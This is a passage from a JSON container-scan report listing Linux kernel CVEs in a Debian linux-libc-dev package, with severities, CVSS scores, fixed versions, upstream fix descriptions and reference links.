"https://git.kernel.org/stable/c/588d4a6795d99d080f74ef0b5f391ea8c453ae5d", "https://git.kernel.org/stable/c/64d322c288577793eedd352b96ef75234ed380fe", "https://git.kernel.org/stable/c/6a733a38b983d8c2e222f13968209010cf44de87", "https://git.kernel.org/stable/c/b3df61bb745eb5201eac22679a2839d4ccbf3442", "https://git.kernel.org/stable/c/d0f86fb36eb260abd10007b62c9dcc1028e03e61", "https://linux.oracle.com/cve/CVE-2026-74705.html", "https://linux.oracle.com/errata/ELSA-2026-83157.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-74705", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74705" ], "PublishedDate": "2026-08-22T16:16:45.213Z", "LastModifiedDate": "2026-10-16T20:17:53.32Z" }, { "VulnerabilityID": "CVE-2026-74743", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74743", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:97c6aa01a4f5b64e427288bb6c991ce18cb776689739a684160b4d73409ce1cd", "Title": "kernel: macvlan: inherit needed_headroom and needed_tailroom from lowerdev", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmacvlan: inherit needed_headroom and needed_tailroom from lowerdev\n\nmacvlan devices inherit hard_header_len from lowerdev during macvlan_init(),\nbut leave needed_headroom and needed_tailroom set to 0.\n\nWhen the underlying lowerdev requires extra headroom or tailroom for\nheaders/trailers (e.g. macsec, ipsec, wireguard, tunnels, or veth with rx\nheadroom), upper layers calculating packet headroom and tailroom fail to\nreserve sufficient space.\n\nThis can result in reallocation overhead, skb headroom underflows, or KASAN\nslab-use-after-free crashes when dev_hard_header() / macvlan_hard_header()\nprepends header data or when lower devices append tailroom.\n\nFix this by:\n1. Inheriting needed_headroom and needed_tailroom from lowerdev in macvlan_init().\n2. Propagating needed_headroom and needed_tailroom updates to attached macvlans\n in macvlan_device_event() when receiving NETDEV_FEAT_CHANGE events.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74743", "https://git.kernel.org/stable/c/28afc87bd8da0b3348bbbd834c8a89e83712cf5e", "https://git.kernel.org/stable/c/7b0eb3e0f363ca79a3af9efd2e87c6258f11da2b", "https://git.kernel.org/stable/c/8cd90e850e434577bf6774778657d26d6995e53f", "https://git.kernel.org/stable/c/8f6a05dbac05725e0786701eb04778c5bdbe4eaa", "https://git.kernel.org/stable/c/96fa90b74385b7f2b0d97251dd43d5ee6ca44668", "https://git.kernel.org/stable/c/bc9a00fb78e32bccc39d763bfd13a450705bac5d", "https://git.kernel.org/stable/c/c2ef3f134b069c54b9cc95cce1a16c38c4939336", "https://git.kernel.org/stable/c/cef51860becd9700217c81732ca1eb1ea6ed6fe1", "https://linux.oracle.com/cve/CVE-2026-74743.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://lore.kernel.org/linux-cve-announce/2026082658-CVE-2026-74743-ba1f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74743", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74743" ], "PublishedDate": "2026-08-26T15:16:53.113Z", "LastModifiedDate": "2026-10-16T20:17:55.833Z" }, { "VulnerabilityID": "CVE-2026-74744", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74744", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7e54355d45b0b36219f5df6e6ebe8c419069bf595e3fc2172fcf890cc01492f1", "Title": "kernel: ipvlan: inherit needed_headroom and needed_tailroom from phy_dev", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvlan: inherit needed_headroom and needed_tailroom from phy_dev\n\nipvlan devices inherit hard_header_len from phy_dev during ipvlan_init(),\nbut leave needed_headroom and needed_tailroom set to 0.\n\nWhen the underlying phy_dev (or stacked lower device) requires extra headroom\nor tailroom for headers/trailers (e.g. macsec, ipsec, wireguard, tunnels, or\nveth with rx headroom), upper layers calculating packet headroom and tailroom\nfail to reserve sufficient space.\n\nThis can result in reallocation overhead, skb headroom underflows, or KASAN\nslab-use-after-free crashes when dev_hard_header() / ipvlan_hard_header()\nprepends header data or when lower devices append tailroom.\n\nFix this by:\n1. Inheriting needed_headroom and needed_tailroom from phy_dev in ipvlan_init().\n2. Propagating needed_headroom and needed_tailroom updates to attached ipvlans\n in ipvlan_device_event() when receiving NETDEV_FEAT_CHANGE events.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-74744", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/stable/c/5c2ca77212eb38559b0353b8363b7a84f4b019dd", "https://git.kernel.org/stable/c/5f33188457bbcc1b11ca87084037963c516ed3d9", "https://git.kernel.org/stable/c/af602c4d0ee548da18e2409b4b4da1079625a372", "https://git.kernel.org/stable/c/c0fbe31f6b20ade0465130685859faa5c86fda59", "https://git.kernel.org/stable/c/e16e960d55a40d36bd7c2494cc005e757dc9a1ef", "https://git.kernel.org/stable/c/f3c17ff65f54781cde696e16a6c577615ed735aa", "https://linux.oracle.com/cve/CVE-2026-74744.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://lore.kernel.org/linux-cve-announce/2026082658-CVE-2026-74744-db6f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74744", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74744" ], "PublishedDate": "2026-08-26T15:16:53.25Z", "LastModifiedDate": "2026-10-16T20:17:56Z" }, { "VulnerabilityID": "CVE-2026-74746", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74746", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b61155e2bd320c7cdd47345d6497d864e1d076a893c625c4dbb42544f93cc561", "Title": "kernel: netfilter: flowtable: publish GC-visible tuple last", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: flowtable: publish GC-visible tuple last\n\nnf_flow_table_iterate() only treats original-direction tuple nodes as\nowning entries. Publishing the original node first lets GC observe and\nfree a flow while flow_offload_add() is still inserting the reply node.\nPublish the reply node first and the original node last so GC never\nsees a partially installed flow.\n\nKASAN can trigger slab-use-after-free read and write reports in the\nflowtable/rhashtable path (rht_deferred_worker, jhash, flow_offload_del,\nflow_offload_lookup, etc.).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74746", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/stable/c/0a00254585827f1695aa2700114af622ea754cfa", "https://git.kernel.org/stable/c/2014ac62df9d45bb9a004a043e85df7be09ed780", "https://git.kernel.org/stable/c/211ee5d998d92a7d548811939c65942d06c146e4", "https://git.kernel.org/stable/c/972fdf7c4f5c282a239c88fea614b056c33dc025", "https://git.kernel.org/stable/c/be345dcbddb4643a54252b954af974b16eda8f91", "https://git.kernel.org/stable/c/d16b71231e65cb05daea2b45701fcf09cef041e7", "https://git.kernel.org/stable/c/d37917e7bebe078f3c17e47fd6fc1c9f6e8497b2", "https://git.kernel.org/stable/c/d9d3050a70efe217e73a0751e55fdae6a7092620", "https://linux.oracle.com/cve/CVE-2026-74746.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026082658-CVE-2026-74746-c2f9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74746", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74746" ], "PublishedDate": "2026-08-26T15:16:53.503Z", "LastModifiedDate": "2026-10-16T20:17:56.293Z" }, { "VulnerabilityID": "CVE-2026-74752", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74752", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:11cc3161c25b26cf4cd9cf9f32e134fbe0b395da0e45dbc5a1f260a74ca565fb", "Title": "kernel: sctp: validate cookie AUTH state before use", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: validate cookie AUTH state before use\n\nWhen cookie authentication is disabled, COOKIE_ECHO restores fixed-size\nAUTH fields directly from peer-controlled cookie bytes. A forged RANDOM\nlength, HMAC list, or CHUNKS list can then reach association consumers\nwith lengths or identifiers that were never validated against the local\nbacking arrays.\n\nA forged RANDOM length can cause out-of-bounds reads during key-vector\nconstruction. A forged HMAC identifier also caused a 32-byte write past\na zero-length AUTH chunk, providing a primitive for a local privilege\nescalation chain.\n\nValidate the cookie's RANDOM, HMACS, and CHUNKS parameters at the cookie\ntrust boundary before copying them into the association. Reject invalid\ntypes, malformed lengths, unsupported HMAC identifiers, HMAC lists\nwithout SHA1, and forbidden chunk ids.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-74752", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/stable/c/3dbb44d88b1e94dd31fe43588af7437b34b44d56", "https://git.kernel.org/stable/c/4a4410de8dc6903d859c9e1731fc6dcee28bd072", "https://git.kernel.org/stable/c/7f17984cfa697613800eb693e183b06884129bd3", "https://git.kernel.org/stable/c/88619b117be1daf633ce32210570ce35a0bd1c98", "https://linux.oracle.com/cve/CVE-2026-74752.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://lore.kernel.org/linux-cve-announce/2026082600-CVE-2026-74752-6509@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74752", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74752" ], "PublishedDate": "2026-08-26T15:16:54.27Z", "LastModifiedDate": "2026-10-21T13:19:53.613Z" }, { "VulnerabilityID": "CVE-2026-74753", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74753", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3787944808f2ddca1c717c94e456650507d381be20af440989d45b32ce87507e", "Title": "kernel: perf: Reject exited events as group leaders", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: Reject exited events as group leaders\n\nperf_event_remove_on_exec() sets remove-on-exec events to the EXIT state\nand detaches their group relationships. The event's file descriptor can\nremain open, however, and perf_event_open() currently accepts that event\nas a group leader because its early validation rejects only REVOKED and\nDEAD events.\n\nA new sibling can consequently be linked to the detached leader. When\nthe leader is closed, perf_group_detach() observes that its\nPERF_ATTACH_GROUP bit is already clear and skips the new sibling. The\nsibling then retains a group_leader pointer to the freed event.\n\nReject group leaders in the EXIT state. Perform the check while holding\nthe shared context mutex so that an exec in the target task cannot detach\nthe leader between validation and group attachment.\n\n[peterz: make the earlier test fully consistent]", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72623", "https://access.redhat.com/security/cve/CVE-2026-74753", "https://bugzilla.redhat.com/2482104", "https://bugzilla.redhat.com/2487002", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2495938", "https://bugzilla.redhat.com/2502318", "https://bugzilla.redhat.com/2502494", "https://bugzilla.redhat.com/2508319", "https://bugzilla.redhat.com/2524423", "https://bugzilla.redhat.com/2524434", "https://bugzilla.redhat.com/show_bug.cgi?id=2482104", "https://bugzilla.redhat.com/show_bug.cgi?id=2487002", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2495938", "https://bugzilla.redhat.com/show_bug.cgi?id=2502318", "https://bugzilla.redhat.com/show_bug.cgi?id=2502494", "https://bugzilla.redhat.com/show_bug.cgi?id=2508319", "https://bugzilla.redhat.com/show_bug.cgi?id=2524423", "https://bugzilla.redhat.com/show_bug.cgi?id=2524434", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45942", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46325", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53341", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63875", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64556", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74753", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80522", "https://errata.almalinux.org/9/ALSA-2026-72623.html", "https://errata.rockylinux.org/RLSA-2026:72623", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-74753.mbox", "https://git.kernel.org/stable/c/7a03413f31c196ab3894f988cdce0bb47b4fec42", "https://git.kernel.org/stable/c/7ce010275c531475f9d6e7efb11b9e522c74ed2e", "https://git.kernel.org/stable/c/ce12e1170c0c78dffb9b28af6d287492ae7dd99d", "https://git.kernel.org/stable/c/e593031ff19a9484e8a00bc47edd447187721846", "https://git.kernel.org/stable/c/fa091f46c3833fb22384f10eade2b4e1e1d0b278", "https://linux.oracle.com/cve/CVE-2026-74753.html", "https://linux.oracle.com/errata/ELSA-2026-72624.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-74753", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74753" ], "PublishedDate": "2026-08-26T15:16:54.387Z", "LastModifiedDate": "2026-10-30T13:20:05.88Z" }, { "VulnerabilityID": "CVE-2026-80521", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": 